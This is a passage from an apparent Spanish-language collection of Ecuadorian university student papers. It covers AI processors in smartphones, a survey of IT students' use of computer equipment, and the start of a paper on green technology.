La inteligencia artificial en dispositivos móviles surge de la década de 1940 y 1950, cuando un puñado de científicos de diversas disciplinas (matemáticas, psicología, ingeniería, ingeniería, economía y ciencias políticas) comenzó a hablar sobre la posibilidad de crear un cerebro artificial. Esto derivó en la base de la investigación sobre redes neuronales artificiales que tiene diferentes usos en la investigación de la Inteligencia Artificial. Desde entonces diferentes campos estudian la IA, como un concepto excitante e imaginativo, aunque la inversión en ella ha sido, por decirlo de algún modo, deficiente.” (movilzona, 2018).

A finales de la década de 1980, diferentes investigadores apostaron por un enfoque completamente nuevo de la inteligencia artificial basado en la robótica. Años después, Martin Fischles y Oscar Firschein describieron los atributos de un agente inteligente que imitara el pensamiento de un cerebro humano, pero no fue hasta los años 90 no surgieron estos primeros “agentes inteligentes”. Uno de los más conocidos es el programa Artificial Linguistic Internet Computer Entity (A.L.I.C.E.) que ganó el premio Loebner al Chatbot más humano en 2000, 2001 y 2004.” (movilzona, 2018).

¡Hubo que esperar hasta 2010 para que la IA volviera a ponerse de moda y ver como bots como Watson de IBM han sido capaces de ganar concursos como Jeopardy! A partir de aquí la IA se ha ido enfocando al mercado de la telefonía móvil.” (movilzona, 2018).

¿Cómo funciona la inteligencia artificial en celulares?

Los avances tecnológicos han traído consigo una gran cantidad de mejoras y surgimiento de nuevos dispositivos. Sin duda que la palabra de moda en las grandes compañías fabricantes de celulares es “La Inteligencia Artificial la cual será un factor crítico para definir la competencia de los smartphones en los próximos 5 o 10 años ya que transforma la interacción entre los usuarios y los dispositivos y, aún más importante, permite explorar las preferencias de las personas e incluso alterar los modelos de negocio de la industria”, afirma Richard Yu, CEO de Huawei al ser cuestionado sobre cuáles son los desafíos en materia de IA en telefonía celular. (KienyKe, 2018)

En materia de inteligencia artificial, las compañías se están enfocando en las cámaras de los celulares, dispositivos que con el pasar del tiempo adquieren una mayor importancia debido a que según las necesidades de las sociedades actuales se requieren teléfonos capaces de tomar fotografías de la misma calidad de una cámara profesional. En el caso de los nuevos P20 Pro y del P20 estos dispositivos pueden reconocer automáticamente 500 escenarios divididos en 19 categorías diferentes, como paisajes, retratos, mascotas, escenarios en la playa, entre otros. Para escenas de noche o con poca iluminación, los dispositivos cuentan con una tecnología de estabilización de imágenes llamada Huawei AIS, para lograr imágenes de exposición prolongada sin necesidad de un trípode. Una vez que la escena o el objeto es identificado, el smartphone ajusta automáticamente la configuración para lograr el mejor resultado posible en la fotografía. (KienyKe, 2018)

Además, estos celulares tienen una galería basada en IA, para crear automáticamente y de forma inteligente álbumes fotográficos. El sistema del P20 Pro y el P20 califica y clasifica las fotografías tomadas por el usuario, resaltando las mejores imágenes e incluyendo etiquetas automáticas para una navegación más sencilla. Desarrollar la inteligencia artificial es uno de los grandes desafíos de las compañías. Aspectos como su complemento con las cámaras y mejorar su funcionamiento en los sistemas operativos son las claves susceptibles a mejoras. (KienyKe, 2018)

Qué puede aportar la Inteligencia Artificial a nuestros smartphones

En el mercado de los smartphones, había una creencia que parecía estar bastante extendida: los smartphones actuales habían llegado a un punto en el que lo tenían muy complicado para sorprender al usuario. Sin embargo, los últimos lanzamientos demuestran que no solamente no han dejado de sorprender, sino que cada nuevo teléfono marca una tendencia de superación clara. Si por ejemplo nos fijamos en la cámara, las mejoras que se han producido en los últimos años, con la incorporación por ejemplo de la doble cámara, o la colaboración con prestigiosas empresas de fotografía como Leica, dan como resultado un smartphone capaz de sacar fotografías increíbles, muy cerca de la perfección. El nivel de innovación alcanzado con cada nuevo producto responde al cada vez mayor grado de exigencia por parte del usuario, que demanda que el teléfono que está a punto de adquirir, ofrezca aspectos que le haga la vida más sencilla y que justifique la inversión que está a punto de realizar ” (zonasmartphone, 2008).

Uno de los últimos lanzamientos, la gama Huawei Mate 10, destacó durante su presentación, además de por su precio considerablemente inferior al del resto de teléfonos de la competencia, por su innovador procesador móvil, el primero con Inteligencia Artificial. El nuevo Kirin 970 incorpora, entre otras cosas, un traductor acelerado de IA para ofrecer una traducción interactiva más rápida y precisa para una experiencia de comunicación más fluida, una optimización del rendimiento del teléfono o una función aún más inteligente a la hora de captar y tratar las imágenes tomadas con la cámara” (zonasmartphone, 2008).

¿Para qué sirve realmente la Inteligencia Artificial en un móvil?

Según un informe reciente elaborado por Gartner, hasta un 80% de los smartphones estarán dotados de inteligencia artificial en 2022. Puede que, incluso, ya tengas un teléfono que haga uso de algún que otro sistema basado en esta tecnología” (Collado, 2016).

Los smartphones se han convertido en la vía mediante la cual la inteligencia artificial se ha colado en nuestras vidas, con el principal objetivo de facilitar acciones, sencillas o complejas, que realizamos a lo largo del día. Y lo cierto es que, detrás de todos esos slogans y campañas para acercar y hacer atractiva esta tecnología de cara a los usuarios de a pie, se esconden una serie de herramientas que, en efecto, han llegado para hacer nuestra vida más fácil” (Collado, 2016).

¿Qué hay de distinto en un teléfono con inteligencia artificial?

Un celular que aprende los comportamientos del usuario, con una gran batería y buen desempeño: esta es la apuesta de Huawei con su Mate 10 Pro, la phablet con la que espera superar al iPhone X y el Samsung Galaxy Note 8. (TECNÓSFERA)

Su principal apuesta diferenciadora es la inteligencia artificial, pues el teléfono incorpora el Kirin 970, que la firma insiste en describir como el primer procesador para smartphones basado en inteligencia artificial (IA), con su propia unidad de procesamiento neural. Este nuevo chip es el primero con la capacidad de asumir las necesidades de procesamiento en el propio dispositivo ¿Qué implica todo esto? Que las tareas son más rápidas y personalizadas, y con un menor

consumo. Se encontrará, por ejemplo, con que el dispositivo realiza un análisis inteligente de las imágenes, reconoce lo que tiene enfrente de la cámara y hace automáticamente la configuración para la foto según el objeto (comida, mascotas, paisajes, etc.). Su cámara dual cuenta con óptica Leica con sensores de 12 MP RGB y 20 MP monocromo” (TECNÓSFERA)

Procesadores de inteligencia artificial

Nos referimos al conjunto de procesos que se articulan mediante programas informáticos, software, y que prometen llevar a cabo determinadas operaciones que se consideran más propias de la inteligencia humana. La Inteligencia Artificial se conoce desde hace mucho, pero hasta hace poco no fue auténtica tendencia. Y lo fue gracias a que sus procesos llegaron a los teléfonos móviles. Primero únicamente como software y después con componentes del propio teléfono específicos para su ejecución. Fue cuando nacieron los procesadores de inteligencia artificial, los chips para procesamiento neural. (FERNÁNDEZ, 2018)

Qué es el procesamiento neural

Hablar de procesamiento neural es hablar de algoritmos, de código, que tratan de emular el funcionamiento de un cerebro humano. Pese a que habitualmente suele englobarse todo dentro del concepto de Inteligencia Artificial, cuando lo reducimos a los procesos que se ejecutan en este tipo de software es más correcto hablar tanto de machine learning como de deep learning, siendo el primero más general y el segundo más específico. Concretamente, un subconjunto de operaciones englobadas dentro del primero. (FERNÁNDEZ, 2018)

Como indicaban nuestros compañeros ingenieros de Xataka, el machine learning consiste en "usar algoritmos para parsear datos, aprender de ellos y luego ser capaces de hacer una predicción o sugerencia sobre algo", mientras que el *deep learning* es "un subconjunto dentro del campo del Machine Learning, el cual predica con la idea del aprendizaje desde el ejemplo". (FERNÁNDEZ, 2018)

Hablar de procesamiento neural es hablar de algoritmos, de código, que tratan de emular el funcionamiento de un cerebro humano

Su uso en móviles trata de resolver distintas cuestiones para las que estas inteligencias artificiales han sido diseñadas, como a procesar fotografías, a ahorrar energía o sencillamente,

a hacer que el teléfono sea más fluido aprendiendo de nuestro uso y el software del propio teléfono. (FERNÁNDEZ, 2018)

Así que, gracias a este procesamiento neural, los teléfonos son ahora capaces de utilizar la cámara para reconocer objetos, escenas e incluso personas, que es probablemente el uso más llamativo de estos algoritmos. Y para su correcto funcionamiento, los fabricantes han ofrecido apoyo en forma de chips específicos, los chips de procesamiento neural que ya están en circulación por el mercado. (FERNÁNDEZ, 2018)

Hardware para apoyar al software

Recorriendo el mismo camino para llegar al mismo punto, o a un punto muy similar, los diseñadores y fabricantes de procesadores para móviles empezaron el pasado año a ofrecer soluciones de hardware para los procesos de aprendizaje neural. Como apoyo para el software, se empezaron a incluir chips específicos dentro de los distintos SoCs, y en la actualidad casi todos los fabricantes tienen su propia solución. Casi todos los procesadores del mundo móvil se basan en la arquitectura ARM, lo que significa que las litografías o diseños de éstos marcan en buena medida el devenir del resto del mercado, aunque a cada fabricante le compete después implementar o no implementar estas mejoras. Así que ARM puso un importante grano de arena cuando desarrolló DynamIQ, una estructura interna para núcleos que serviría para potenciar la ejecución de código de inteligencia artificial. (FERNÁNDEZ, 2018)

Apple, Qualcomm, Huawei y Samsung cuentan ya con soluciones físicas para la ejecución de código de machine learning y deep learning. Yendo más allá de la estructura clásica de CPUs, GPUs y distintos añadidos para fotografía, soporte de pantallas y compañía, DynamIQ proponía una nueva estructura para ejecutar procesos de procesamiento neural, *machine learning* y *deep learning*. Pero el resto de fabricanetes también puso de su parte y no tardaron en llegar las implementaciones reales de estos chips específicos. (FERNÁNDEZ, 2018)

Apple incluyó un chip llamado Neural Engine, o motor neural, en su reciente Apple A11 Bionic, Huawei hizo lo propio con su NPU, o Neural Processing Unit, en el Kirin 970 y no tardaron en llegar las respuestas tanto de Qualcomm como de Samsung. Los primeros, por ejemplo,

añadieron el NPU Zeroth o componentes remodelados, como un DSP Hexagon rediseñado a tal efecto. (FERNÁNDEZ, 2018)

Qué hace un chip de procesamiento neural

El chip del procesamiento neural es el que manda en un procesador que lo contiene, al menos cuando hablamos de la ejecución de código específico para machine learning o deep learning. Este código requiere de una cantidad ingente de cálculos, de ahí que el chip se encarga de realizar parte de ellos y de asignar los restantes en base a la disponibilidad de cada una de las partes del SoC. Un chip de procesamiento neural se encarga de poner a trabajar a todos los componentes internos del procesador para ejecutar código de inteligencia artificial. La 'paralelización' de procesos se logra gracias a que algunas partes del código se ejecutan en la GPU, las más complejas en la GPU y el ordenamiento y parte de la carga se la lleva el propio chip, ya sea el NE, el NPU o la implementación que toque en cada momento. (FERNÁNDEZ, 2018)

Durante la ejecución de código de procesamiento neural, un chip diseñado para ello trata de que todo se ejecute a la mayor velocidad posible, pero también de la forma más eficiente. Lo mismo ocurre con el resto del código, pues entre las atribuciones de este tipo de chips encontramos otras tareas como las que comentábamos antes. El control de la cámara, la gestión de la batería, la interfaz. Una IA gestionará los recursos de todo el teléfono y procesará la información de forma más eficiente. (FERNÁNDEZ, 2018)

Gracias a estos chips, la información captada por los sensores de las cámaras de un smartphone se procesa de forma más veloz y eficiente, y en función de qué teléfono tengamos entre manos también obtendremos funciones más avanzadas. Como la lectura de la profundidad, la selección de los ajustes más adecuados para cada fotografía o incluso la predicción del movimiento de lo que tengamos delante. Una IA instalada en nuestro teléfono hará que todo funcione mejor, y el beneficio siempre será para el usuario. Luego dependerá, claro está, de que la propia IA esté mejor o peor diseñada. (FERNÁNDEZ, 2018)

Una inteligencia artificial instalada en nuestro móvil no hará que éste tome conciencia de sí mismo, no hablamos de utopías de la ciencia ficción plausibles a medio o largo plazo en otros

sectores. Una IA gestionará los recursos de todo el teléfono y procesará la información de forma más eficiente. En definitiva, nos beneficia. Y cada nueva versión que llegue al mercado será mejor que la anterior. (FERNÁNDEZ, 2018)

3. CONCLUSIONES

Después de estudiar e investigar la inteligencia artificial en los dispositivos móviles se concluye que es un campo muy especificado el cual tiene como objetivo crear dispositivos inteligentes capaces de realizar tareas simples por su propia cuenta teniendo como base abundante información que esté relacionada con el mundo, esto resalta el interés de las personas al comprar un celular con este tipo de tecnología.

La inteligencia artificial es uno de los logros más significativos de la humanidad, en general es utilizado para realizar procesos o tareas simuladas con las mismas capacidades que el ser humano de forma limitada, programadas en una combinación de algoritmos planteados específicamente con ese propósito.

En la sociedad y dentro de las ciencias de la computación, la Inteligencia Artificial es una de las áreas que causa más expectación en el mundo. Que un sistema mediante un dispositivo electrónico pueda mejorar su comportamiento sobre la base de la experiencia y que además, tenga una noción de lo que es un error y que pueda evitarlo, resulta muy interesante.

Las características de la IA están programadas previamente por computadora, como consecuencias consumen energía durante su ejecución con el fin de dar una respuesta adecuada, actualmente es capaz de asumir 35 mil micro decisiones cotidianas, por lo que no todo dispositivo tiene esta tecnología porque requiere de un procesador de ocho núcleos, dando como resultado que se implementen a los celulares con gama alta (alto rendimiento).

4. RECOMENDACIÓN

Socializar y nutrir en conocimientos a los profesionales en formación sobre la inteligencia artificial en los dispositivos móviles, es fundamental para futuros proyectos revolucionarios utilizando como base principal esta tecnología.

Bibliografía

anca, A. d. (junio de 2009). Instalación domótica de una vivienda unifamiliar. Obtenido de iit:
<https://www.iit.comillas.edu/pfc/resumenes/4a4601f904610.pdf>

anonimo. (2010). *domotica*. <http://domotica7.blogspot.com/p/caracteristicas.html>.

anonimo. (25 de septiembre de 2016.). *wikipedia*.
<https://es.wikipedia.org/wiki/Dom%C3%B3tica>.

Arenas, F. (20 de Agosto de 2017). *elEconomista*. Obtenido de elEconomista.es:
<https://www.eleconomista.es/firmas/noticias/8687758/10/17/LOS-moviles-y-la-Inteligencia-Artificial-.html>

Colantonio, E. (2016). *Instalación domótica de una vivienda unifamiliar*. Obtenido de unimet:
<https://sites.google.com/a/correo.unimet.edu.ve/03camejocisneroscolantonioeacfgtce03/inteligencia-artificial-y-su-moderna-relacion-con-los-dispositivos-moviles>

Collado, C. (2016). Obtenido de andro4all: <https://andro4all.com/2018/01/inteligencia-artificial-smartphone-significado>

company, m. (2018). *hipertextual*. Obtenido de <https://hipertextual.com/2018/02/inteligencia-artificial-movil>

coque, m., & naranjo, l. f. (2015). *slideplayer*. Obtenido de <http://slideplayer.es/slide/2316560/>
domóticautem. (s.f.). *domóticautem*. Obtenido de arquitectura de los sistemas:
<https://domoticautem.wordpress.com/arquitectura-de-los-sistemas/>

Expreso. (22 de mayo de 2015). Obtenido de http://www.expreso.ec/historico/domotica-ASGR_7974405

FERNÁNDEZ, S. (31 de Marzo de 2018). *Procesadores de inteligencia artificial para móviles: qué son y para qué sirven*. Obtenido de
<https://www.xatakamovil.com/desarrollo/procesadores-de-inteligencia-artificial-para-moviles-que-son-y-para-que-sirven>

functiodomo. (s.f.). Obtenido de <http://www.functiodomo.com/sistema-domotica/domotica-para-su-hogar/>

KienyKe. (22 de Mayo de 2018). *KienyKe Tecnologías*. Obtenido de <https://www.kienyke.com/tendencias/tecnologia/como-funciona-la-inteligencia-artificial-en-celulares>

movilzona. (2018). *movilzone*. Obtenido de <https://www.movilzona.es/2018/08/31/inteligencia-artificial-huawei-p20-pro-kirin-970/>

Rouse, M. (26 de 06 de 2018). *searchdata*. Obtenido de <https://searchdatacenter.techtarget.com/es/definicion/Inteligencia-artificial-o-AI>

TECNÓSFERA. (s.f.). *el tiempo*. Obtenido de <https://www.eltiempo.com/tecnosfera/dispositivos/como-funciona-un-celular-con-inteligencia-artificial-155170>

vistazo. (11 de octubre de 2015). Obtenido de <http://www.vistazo.com/seccion/tecnologia/domotica-para-una-gestion-eficiente>

wikipedia. (s.f.). *wikipedia*. Obtenido de <https://es.wikipedia.org/wiki/Dom%C3%B3tica>

zonasmartphone. (enero de 2008). *hipertextual*. Obtenido de <https://hipertextual.com/presentado-por/huawei/que-puede-aportar-inteligencia-artificial-nuestros-smartphones>

BIOGRAFIA DEL AUTOR

Geomayra Stefany Cevallos Pin, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad educativa Alejo Lascano del Cantón Jipijapa, Manabí, Ecuador.

Jefferson Adrian González Quijije, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Informática, en la Unidad Educativa Fiscal Provincia de Manabí, del Cantón Puerto López, Manabí, Ecuador.

Jimmy Leonardo Gutiérrez García, Ingeniero en Computación y Redes Mg. Gerencia Educativa; docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa, Manabí, Ecuador.

Renzo Alexander Tómalá Solorzano, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Informática, en la Unidad Educativa Fiscal Provincia de Manabí, del Cantón Puerto López, Manabí, Ecuador.

INFLUENCIA DE LOS EQUIPOS INFORMÁTICOS EN LOS ESTUDIANTES DE LA CARRERA TECNOLOGÍAS DE LA INFORMACIÓN

Edgar Enrique Sancán Pérez

María Mercedes Bonilla Yoza

Merchán Santisteban Dennys Jackson

Ing. Julio Alberto Cedeño Ferrín. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

enriquesancan28@hotmail.com

Resumen

La presente investigación es un estudio realizado para socializar las relevancias y opiniones tratadas con los estudiantes de la carrera Tecnologías de la Información, enfocado innatamente en los equipos informáticos y su influencia, teniendo como objetivos, incentivar a los estudiantes a conocer sobre el uso de los equipos informáticos en las aulas de clases de la carrera Tecnologías de la Información, investigar el impacto de los equipos informáticos en los estudiantes, analizar el uso de los equipos informáticos en las diferentes tareas que el estudiante realiza en horas de clases de la carrera tecnologías de la información, proponer el uso de equipos informáticos en las aulas de clases con el fin de mejorar la enseñanza, aprendizaje de los estudiantes y docentes de la carrera Tecnologías de la Información, en la investigación se utilizaron los métodos teóricos tales como: histórico-lógico, inducción-deducción, revisión bibliográfica, encuestas, entre otros. Los equipos informáticos que utilizan a menudo estudiantes universitarios marcan y seguirá marcando una diferencia entre el pasado y el futuro; el mundo tecnológico está en constante desarrollo y lo que hoy es un avance tecnológico, mañana será el futuro de la sociedad, los equipos informáticos son los que predominan en los diversos campos, se han complementado simultáneamente con la capacidad intelectual del ser humano, en conclusión el uso eficiente de equipos informáticos en los estudiantes de la carrera Tecnologías de la Información permitieron mejorar significativamente las diferentes clases teóricas.

Palabras claves: enseñanza, incentivar, tecnológicos.

Abstract

The present investigation is a study carried out to socialize the reports and opinions treated with the students of the Information Technologies career, focused innately on the computer equipment and its influence, having as objectives, to encourage the students to know about the use of the computer equipment in the classrooms of the Career Information Technologies, investigate the impact of computer equipment on students, analyze the use of computer equipment in the different tasks that the student performs during class hours of the career the information, propose the use of computer equipment in classrooms in order to improve the teaching, learning of students and teachers of the Information Technology career, in the research the theoretical methods were used such as: historical-logical , induction-deduction, bibliographic review, surveys, among others. The computers that often use university students mark and will continue to make a difference between the past and the future; the technological world is in constant development and what is today a technological advance, tomorrow will be the future of society, computer equipment are those that predominate in the various fields, have been complemented simultaneously with the intellectual capacity of the human being, in conclusion the efficient use of computer equipment in the students of the Information Technology career allowed to significantly improve the different theoretical classes.

KEYWORDS: incentivizing, technological, teaching.

1. INTRODUCCIÓN

Desde tiempos remotos la tecnología ha avanzado inimaginablemente, lo cual ha permitido avances tecnológicos en el siglo XXI, haciendo que el ser humano en gran medida dependa de los equipos informáticos para la realización y agilización de tareas concretas, se ha hecho dependiente de aquello para satisfacer sus diferentes necesidades tecnológicas.

En la actualidad, los equipos informáticos son los más utilizados por los estudiantes de la carrera Tecnologías de la Información por cuestiones como: la mejora en las prácticas dentro del aula de clases, la facilidad de realizar un trabajo, una consulta entre otros factores que lo componen, lo

cual obliga a reflexionar acerca de la influencia de los equipos informáticos, si son o no una herramienta importante en el desarrollo intelectual del estudiante.

La presente investigación es un estudio realizado para socializar las relevancias y opiniones tratadas con los estudiantes de la carrera Tecnologías de la Información enfocado innatamente en los equipos informáticos y la influencia que tienen.

Según (Arce, 2009), quien realizó una investigación en la cual “explica la influencia de la tecnología informática en el aprendizaje significativo e indica que en la actualidad las computadoras son parte fundamental de nuestra vida normal, tanto los profesores como de los estudiantes, actualmente la Tecnología Informática tan solo no se usa por grandes empresas, sino que también es bastante fácil de poderse adquirir para una persona natural o de bajos recursos”. En referencia a lo antes mencionado es importante recalcar que el uso de equipos informáticos en estudiantes es cotidiano, y de igual manera en profesores, los cuales utilizan estos recursos en aulas y en salas de cómputos, con ello se aclara que los equipos informáticos son una base fundamental para el estudiantado, agilitando la comprensión en las diferentes clases en el aula tanto teóricas como prácticas en los diversos estudiantes.

En el artículo presentado por (José R. & Juan S., p.2) definen “Las computadoras en todas sus formas pc de escritorio, pc personales o laptops y las netbook se han convertido en herramientas estrechamente ligadas a las diferentes TIC’s teniendo presente sus altas capacidades multimediales citando el ejemplo, un incremento notable sobre el uso de presentaciones electrónicas (por metonimia, también reconocidas como las “presentaciones PowerPoint”) lo cual se muestra cómo un gran porcentaje de estudiantes utilizan esta herramienta en las aulas de clases universitarias y aquellas en general son bastante tomados por el uso significativo de las TIC’s como un recurso primordial y esencial.”(Jose, p.1).

Ante ello manifiesta (Jose R,) “Asimismo, el aumento de las computadoras portátiles puede constituir un gran indicador de impacto en lo que se refiere a recursos tecnológicos y es claramente que cada vez sea más común encontrar estudiantes en los diferentes pasillos de las universidades, cafeterías y áreas libres o áreas verdes trabajando en sus asignaciones o tareas informáticas con alguno de los dispositivos anteriores.” (Jose R., p.2).

De acuerdo a lo que manifiesta (Carolina, 2012), define a los avances tecnológicos como “Aplicaciones y funciones los cuales han ido adquiriendo los aparatos tecnológicos a través del pasar del tiempo, por medio de los diversos inventos y las capacidades de mejoramiento en el

entorno actual de los profesores y estudiantes que utilizan la tecnología como una herramienta de trabajo facilitando positivamente la calidad de vida del estudiante”.

2. MATERIALES Y MÉTODOS

Se ejecutó un diagnóstico aplicado a los estudiantes de la carrera Tecnologías de la Información para conocer el grado de habilidad y conocimiento que tienen los estudiantes sobre los diferentes equipos tecnológicos, que piensan, como lo consideran, como lo usan y su opinión respecto de su importancia. Como métodos relacionados se utilizó el histórico-lógico, análisis-síntesis, observación, para profundizar el estudio a partir de la conexión que existe entre la causa y el efecto en un contexto determinado en este caso de la influencia de los equipos informáticos en cada estudiante de la carrera tecnología de la información.

3. RESULTADOS Y DISCUSIÓN

Población y Muestra

La población considerada para la presente investigación son todos los estudiantes del área de Tecnología de la Información en la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, para el desarrollo de la investigación se consideró una muestra de 64 estudiantes.

Encuestas realizadas a los estudiantes de la carrera Tecnología de la Información de la universidad estatal del Sur de Manabí.

1. ¿Conoce usted que son los equipos informáticos?

TABLA# 1

RESPUESTAS	POBLACIÓN	%
SI	54	84%
NO	10	16%

TOTAL	64	100%
-------	----	------

GRAFICO # 1

Análisis: Por lo cual, en el primer gráfico, del 100% de alumnos el 84% tiene conocimiento de lo que son equipos informáticos y el 16% dijo que no conocían.

2. ¿Cuánto es el uso de los equipos informáticos en la carrera de tecnología información?

TABLA# 2

RESPUESTAS	POBLACIÓN	%
POCO	16	25%
MUCHO	43	67%
NADA	5	8%
TOTAL	64	100%

GRAFICO # 2

Análisis:

Los estudiantes de la carrera tecnología de la información el 25% poco estudiantes usa los equipos informáticos en la carrera tecnología de la información, 67%, considera que mucho se usa los equipos informáticos y un 8% dice que nada.

4. CONCLUSIONES

El estudio realizado permitió arribar las siguientes conclusiones:

- El uso eficiente de equipos informáticos en los estudiantes de la carrera Tecnologías de la Información permitieron mejorar significativamente las diferentes clases teóricas y prácticas mejorando el desarrollo de habilidades y conocimientos del estudiantado.
- El estudiante utilizó en reiteradas ocasiones los diferentes equipos informáticos con el fin de realizar trabajos en metonimia o conocidas como Presentaciones en PowerPoint en aulas de clases para sus exposiciones, de la misma manera el uso de los equipos informáticos para materias de especialización en la carrera Tecnologías de la Información.
- La implementación de más equipos informáticos en las aulas de clases de la carrera tecnologías de la información ayudó, facilitó y brindó un apoyo a la educación superior en el ámbito tecnológico, promoviendo la calidad de aprendizaje del estudiante en la formación de dicha carrera, fortaleció el nexo entre estudiante y la tecnología.

5. BIBLIOGRAFÍA

Machado, P. (5 de 06 de 2013). *Blogger*. Obtenido de <http://tequilasalimon.blogspot.com/2013/06/informatica.html>

Marcos. (30 de octubre de 2007). *Blogger*. Obtenido de <http://edmundofueradelnido.blogspot.com/2007/10/influencia-de-la-computadora-y-el.html>

Pérez, Á. I. (2011). La integración de las TIC en los centros educativos: percepciones de los coordinadores y directores. *Estudios Pedagógicos XXXVII*, 20.

TECNOLOGIA E INFORMATICA. (19 de noviembre de 2010). Obtenido de <https://solvasquez.wordpress.com/2010/04/02/tecnologia-y-vida-cotidiana/>

TuGimnasiaCerebral. (2014). Obtenido de <http://tugimnasiacerebral.com/herramientas-de-estudio/que-son-las-tics-tic-o-tecnologias-de-la-informacion-y-la-comunicacion>

universia. (18 de enero de 2018). Obtenido de <http://noticias.universia.es/ciencia-tecnologia/noticia/2018/01/18/1157587/cuantas-horas-dia-utilizamos-pc.html>

Universia.net. (13 de enero de 2011). Obtenido de <http://noticias.universia.edu.pe/en-portada/noticia/2011/01/13/779157/tic-futuro-profesional.html>

Universidad Centofec_. (s.f.). Obtenido de <https://www.ucenfotec.ac.cr/por-que-una-carrera-en-tic>

BIOGRAFÍA DEL AUTOR

Edgar Enrique Sancán Pérez, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas, en la Unidad Educativa Fiscal Quince de Octubre, del Cantón Jipijapa, Manabí, Ecuador.

María Mercedes Bonilla Yoza, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración en Sistemas en la Unidad Educativa Fiscal Quince de Octubre, del Cantón Jipijapa, Manabí, Ecuador.

Merchan Santisteban Dennys Jackson, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Fiscal Pajan, del Cantón Pajan, Manabí, Ecuador.

Julio Cedeño Ferrin, Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

TECNOLOGÍA VERDE Y SU IMPACTO EN EL MEDIO AMBIENTE

Rebeca Susana Andrade Baque

Xiomara Lisbeth Anzules Ávila

Carlos Ariel Ávila Cruz

Wilter Leonel Solórzano Álava

Ing. José Efraín Álava Cruzatty. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jrebeca_96@hotmail.com

Resumen

La presente investigación se basó en fortalecer el poco conocimiento que tienen los estudiantes de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí referente a la Tecnología Verde, esto hace referencia al ámbito de factores que están contribuyendo al llamado cambio climático siendo estas una de las consecuencias como lo es el calentamiento global del planeta y sus efectos como los desastres naturales, entre otros. Debido a esto y muchas más razones se buscan soluciones para que la tecnología y el medio ambiente también denominado “Tecnología Verde” convivan equilibradamente donde el secreto no es consumir menos, sino mejor. Se utilizaron métodos de investigación científica, prevaleciendo el método de inducción, deducción y análisis – síntesis, donde interviene la obtención de nuevos conocimientos tecnológicos y el reforzamiento del mismo, para que el estudiante tenga la capacidad de un mejor desenvolvimiento al solucionar los problemas de manera tangible y precisa, su objetivo es dar a conocer las necesidades que sufre nuestro medio ambiente y hallar una solución a todas las dificultades pues gracias a esta los estudiantes pueden gozar de sus invenciones y a la vez contribuir con la conservación del planeta. Los resultados obtenidos permiten ser utilizados para resaltar la Tecnología Verde en los distintos lugares y sea un buen uso en el aprendizaje de la carrera de Tecnologías de la Información. Se concluye que debe tener un cambio de consumo y a la vez haya la reducción de los desperdicios del consumo energético y de la contaminación.

Palabras clave: efectos, factores, tecnologías.

Abstract

The present investigation was based on strengthening the little knowledge that the students have of the career of Information Technology in the State University of the South of Manabí referring to the Green Technology, this makes reference to the field of factors that are contributing to the so-called climate change being these one of the consequences as it is the global warming of the planet and its effects as natural disasters, etc. Due to this and many other reasons, solutions are sought so that technology and the environment also called "Green Technology" coexist in a balanced way where the secret is not to consume less, but better. Scientific research methods were used, prevailing the method of induction, deduction and analysis, synthesis, where the acquisition of new technological knowledge and the reinforcement of it, so that the student has the capacity of a better development to solve the problems in a way tangible and precise, its objective is to make known the needs of our environment and find a solution to all difficulties because thanks to this students can enjoy their inventions and at the same time contribute to the conservation of the planet. The results obtained can be used to highlight the Green Technology in different places and be a good use in learning the career of Information Technology. It is concluded that it must have a change in consumption and at the same time reduce the waste of energy consumption and pollution.

KEYWORDS: effects, factors, technologies.

1. INTRODUCCIÓN

La Tecnología Verde conlleva un gran potencial para reducir el impacto medioambiental negativo de la sociedad como lo es el consumo de energía en hogares, es de mucha importancia e interés demostrar a los estudiantes ya que hay muchas maneras de proteger y contribuir al ambiente a través de la tecnología.

Según (Caballero, 2010) “La Tecnología Verde es el diseño de soluciones y/o dispositivos basados en la ecoeficiencia, es decir que garantizan seguridad de fabricación y funcionamiento reduciendo al mismo tiempo su impacto medioambiental. La clave es producir más con menos”

En la actualidad en el mundo la Tecnología Verde está desarrollando nuevas aplicaciones y productos que ayudan a reducir la contaminación ambiental. En América latina la Tecnología Verde están en pleno crecimiento adaptándose a las nuevas tecnologías para que las personas puedan hacer usos de estas aplicaciones; en el Ecuador no se puede competir con tecnologías antiguas o aquellas que necesitan de una inversión de miles de millones. Sin embargo, la Tecnología Verde es perfecta y aplicable para el reducir la contaminación ambiental. En la Universidad Estatal del Sur de Manabí la Tecnología Verde está tomando un gran impacto en los estudiantes porque ellos mismos son los promotores para el cuidado del ambiente, en la carrera Tecnologías de la Información los estudiantes crean proyectos que los relacionan las TIC's lo cual es un aporte para los estudiantes.

(Cosio, 2012) La presión sobre las tecnologías para que reduzcan su impacto ambiental ha crecido en los últimos años, por lo que en el área del almacenamiento de datos, la virtualización es la opción principal para reducir el impacto ambiental de las tecnologías de la información, nuestro planeta está pasando por una situación muy difícil, es víctima de la inconsciencia y falta de consideración del hombre al no saber utilizar de manera adecuada los recursos que la tierra nos ofrece. Todo esto a través de los miles de avances que ha creado, que aparte de obsequiarles riquezas y reconocimiento Mundial, han afectado al planeta por medio de la contaminación.

Por esta razón ha sido creada la Tecnología Verde, como una solución a todos estos problemas, gracias a ésta el hombre puede gozar de sus invenciones y a la vez de contribuir con la conservación del planeta.

